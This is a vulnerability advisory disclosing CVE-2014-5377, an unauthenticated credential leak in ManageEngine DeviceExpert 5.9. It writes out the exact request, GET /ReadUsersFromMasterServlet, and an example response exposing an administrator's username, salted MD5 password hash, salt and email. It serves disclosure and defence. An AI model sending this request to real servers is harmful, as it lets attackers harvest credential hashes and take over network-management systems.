ManageEngine DeviceExpert 5.9 - User Credential Disclosure

>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information Security
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>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>[email protected]</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.